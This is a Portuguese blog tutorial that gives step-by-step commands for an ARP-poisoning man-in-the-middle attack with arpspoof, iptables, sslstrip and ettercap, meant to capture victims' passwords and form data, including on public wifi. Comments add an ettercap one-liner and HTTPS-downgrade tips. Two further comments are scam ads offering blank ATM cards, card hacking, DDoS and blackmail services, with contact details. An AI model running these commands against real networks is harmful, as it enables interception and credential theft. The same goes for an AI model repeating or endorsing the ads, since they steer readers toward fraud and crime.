Realizando ataque Man in the Middle com SSLStrip e Ettercap

Share:


Neste tutorial iremos abordar o tipo de ataque conhecido como Man in the Middle.
Esse teste "envenena" a Tabela ARP da vitima, fazendo com que a máquina atacante, nossa, se passe pelo roteador, fazendo com que consigamos interceptar o tráfego e ter acesso a dados sigilosos trocados entre os dois atores.

A exploração do ARP Poisoning é o método mais rápido de se estabelecer no meio da comunicação entre duas máquinas e interceptar as informações enviadas entre ambas, fazendo com que possua acesso a dados confidenciais, senhas e relatórios de tráfego. Esse método se aplica somente em redes Ethernet ou seja, esse tipo de comunicação pode ser resumido em redes internas, sejam elas empresariais, residenciais ou até mesmo aquele wifi livre na praça de alimentação do Shopping ou do café que você gosta de frequentar.


1. Ambiente 


Neste exemplo faram parte 3 atores:

192.168.1.52 - Máquina atacante com Debian 8 Jessie
192.168.1.57 - Vítima com Windows 8.1, podendo ser qualquer outro sistema operacional, Windows, Linux ou OSX
192.168.1.1. - Roteador como Gateway

2. Preparando o ataque.


Neste exemplo, vamos precisar ficar com 3 terminais abertos.
Abra o primeiro terminal. Agora vamos ativar o redirecionamento de pacotes.

# echo 1 > /proc/sys/net/ipv4/ip_forward

Agora vamos efetuar todo o redirecionamento de pacotes que chegar na porta 80 da nossa máquina para a porta 7777

# iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 7777

Agora vamos ativar o Arpspoof para confundir a tabela ARP da vítima, a sintaxe é a seguinte:

# arpspoof -i INTERFACE -t IP-DA-VITIMA IP-DO-GATEWAY

No nosso caso, como estou efetuando o ataque de uma interface Wireless a sintaxe ficaria

# arpspoof -i wlan0 -t 192.168.1.57 192.168.1.1




Vamos deixar esse terminal aberto infectando a tabela ARP da vítima. Vamos abrir outro terminal e colocar o SSLSTRIP para escutar a porta 7777

Abra outro terminal e como root, digite:

# sslstrip -l 7777

Agora colocamos o sslstrip para entrar em modo listening e ouvir tudo que chegar na porta 7777
Abra o terceiro terminal, e como root, digite:

# ettercap -Tq -i  wlan0

O ettercap é um poderoso sniffer de rede, e ele que vai nos mostrar tudo que passar pela placa wlan0 da nossa máquina. Agora a máquina da vítima está totalmente vigiada, e interceptaremos todos os pacotes que ela enviar para o gateway

Agora vamos aguardar o Host acessar algum site e preencher algum formulário. Lembrando que o Ettercap e o SSLStrip irá capturar tudo, não somente as senhas





Veja também: Capturando senhas com Social Engineering Toolkit e Ettercap

:)

17 comentários:

  1. Respostas
    1. Se eles for efetuado o Downgrade do SSL, eles já são interceptados e aparecem sem precisar de tratamento.

      Excluir
  2. Cara, muito bom seu blog, muitos posts interessantes! Parabéns!

    ResponderExcluir
  3. Parabéns, a explicação ficou bem clara.
    Agora uma dúvida, se for uma página https?

    ResponderExcluir
    Respostas
    1. Este comentário foi removido pelo autor.

      Excluir
    2. sslstrip usa-se do metodo 'HTTPS DOWNGRADE'
      aqui esta outro 'https downgrade attack' usando um filtro do ettercap...
      http://wroot.org/posts/downgrade-https-connections-to-http-using-ettercap-filters/

      QUOTE: What if SSL is required on server-side ???
      No problem, SSL on server-side can be a requirement but by the time
      the server complains, data was already sent over in plain-text. (http) :)

      Excluir
    3. Obrigado pela ajuda Pedro!! Sua contribuição foi muito importante, sinta-se a vontade para comentar sempre.

      Excluir
    4. thanks..
      1º que tudo parabens por estares a demonstrar que o metasploit é muinto mais que um server+client,
      "na realidade é um projecto comunitario com varios actores a contribuir a todos os niveis para ele"...
      (não me estou a referir a este artigo mas sim a outros sobre o msf ;) )

      2º entao deixa-me deixar aqui uma dica sobre este attack mitm+ssltrip:
      não necessitas de te usar do 'arpspoof' porque o ettercap (uma ferrameta tambem
      fabulosa e com uma syntax de scripting bastante acessivel) tem uma flag para isso
      mesmo '-M arp:remote' <-- isto vai fazer o mesmo que o 'arpspoof' esta a fazer, e se
      por acaso quiseres ver todos o packets que viajam na rede. basta carregar em 'space'
      que o ettercap mostra todos eles a voarem (e com info mais detalhada)...

      portanto o command ettercap ficaria assim:
      ettercap -T -Q -i wlan0 -M arp:remote /target ip/ /router ip/

      "só lembrando que no file 'etter.conf' pode ser configurado o port-fowarding tambem!! eliminando a necessidade de manualmente inserir a entrada no iptables (iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-port 7777)".

      deixo-te aqui um artigo sobre os filtros (scripting) do ettercap escrito por irongeek:
      http://www.irongeek.com/i.php?page=security/ettercapfilter

      have fun...

      Excluir
    5. Muito obrigado pela contribuição, Pedro!!
      Sinta-se a vontade para comentar sempre!!

      Excluir
  4. O "prerouting" e "redirect" seria oque?

    ResponderExcluir
    Respostas
    1. o pre routing é antes do pacote ser entregue a maquina de destino, e o redirect é para redirecionar, nesse caso redirecionar o trafego de uma porta para outra.

      Excluir
  5. Este comentário foi removido pelo autor.

    ResponderExcluir
  6. quando eu faco o procedimento, minha navegacao (porta 80) nao vai.... existe uma forma de contornar isso?

    ResponderExcluir
  7. o meu ta dando esse erro no ssl (self.channel.writeHeaders(version, code, reason, headers)
    exceptions.AttributeError: 'NoneType' object has no attribute 'writeHeaders')

    ResponderExcluir
  8. Olá, você está com alguma dificuldade financeira? Quer dar um up na sua vida? Um cartão ATM em branco da IMMACULATE é o que você precisa agora para viver uma vida confortável. Deixe-me apresentar-me.

    Meu nome é Bruno Santos da Silva, sou brasileiro e estou trabalhando com um grupo de hackers nos Estados Unidos. Ao longo dos anos, desenvolvemos um cartão chamado CARTÃO ATM EM BRANCO. Com este cartão em sua posse, você poderá sacar entre 5.000 a 20.000 diariamente em qualquer caixa eletrônico.

    Ah sim, é verdade. O cartão ATM em branco é um cartão cantado que pode sacar dinheiro de qualquer caixa eletrônico em todo o mundo. Estes cartões vêm em Visa/MasterCard. Portanto, funciona em qualquer caixa eletrônico que aceite Visa/MasterCard. E não há risco de ser pego por qualquer forma de segurança, se você seguir nossas instruções corretamente.

    Muitas pessoas ainda não estão cientes do desenvolvimento do CARTÃO ATM EM BRANCO. Para mais informações sobre como comprar este cartão, você pode nos escrever via:
    E-mail: immaculateblankatmcard@gmail.com
    Escreva-me diretamente no WhatsApp ou Telegram: +17727746806

    também prestamos outros tipos de serviços de hacking
    Por favor, apenas pessoas sérias.

    ResponderExcluir
  9. Olá, você precisa de um hacker confiável e funcional a um preço acessível? Trago para vocês NOVARA HACKERS. Eles são um conjunto sofisticado e irrestrito de hackers que estiveram de plantão e atenderam às expectativas ao longo dos anos de maneira séria. Os seus serviços são seguros e garantidos com total transparência e garantia, aplaudem ao máximo a comiseração humana, sou testemunha da sua competência. Você pode entrar em contato com o Novera Hackers via;
    E-mail: novarahackers@gmail.com E
    WhatsApp: +12017548785

    Novera Hackers oferecem serviços de hackers como;

    ✓ Rastreamento, Spam, Espionagem.
    ✓ Criação de identidade falsa, atualização de notas escolares.
    ✓ Investigador particular, bypass de firewall,
    ✓ Aumente os seguidores em qualquer plataforma de mídia social para impulsionar seus negócios.
    ✓ desbloqueio na nuvem, criptografia e descriptografia de arquivos
    ✓ Recuperação de carteira de moedas hackeadas
    ✓ rastreamento e recuperação de criptografia roubada para qualquer carteira
    ✓ apagamento de antecedentes criminais, chantagem.
    ✓ invasão de sites, portais e câmeras de CFTV.
    ✓ hacking e recuperação de qualquer plataforma de mídia social
    ✓ rastreando os sinais de hackers incomodando você
    ✓ Venda de cartões ATM em branco de todos os tipos
    √ hacking de Iphones de várias marcas, apagando antecedentes criminais,
    ✓ Adição e remoção de informações em um banco de dados.
    ✓ Hackear computadores e telefones
    ✓Invasão de sites
    ✓Hackear cartão de crédito
    ✓Ataques DDoS e muito mais.

    Eles terminaram várias décadas na esfera de hackers como uma lenda em todos os campos de hackers e ainda são os especialistas em hackers mais confiáveis ​​​​e confiáveis.

    Para mais informações, entre em contato com a equipe deles através de:
    E-mail: novarahackers@gmail.com
    WhatsApp: +12017548785

    ResponderExcluir